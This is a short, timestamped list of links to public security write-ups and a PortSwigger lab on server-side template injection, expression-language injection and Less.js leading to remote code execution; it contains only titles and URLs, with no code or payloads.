* [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019 ](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf )
2020-10-17 10:25:50 +00:00
* [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html )
2020-10-31 15:02:29 +00:00
* [Lab: Server-side template injection in an unknown language with a documented exploit ](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit )
2021-07-06 14:36:43 +00:00
* [Exploiting Less.js to Achieve RCE ](https://www.softwaresecured.com/exploiting-less-js/ )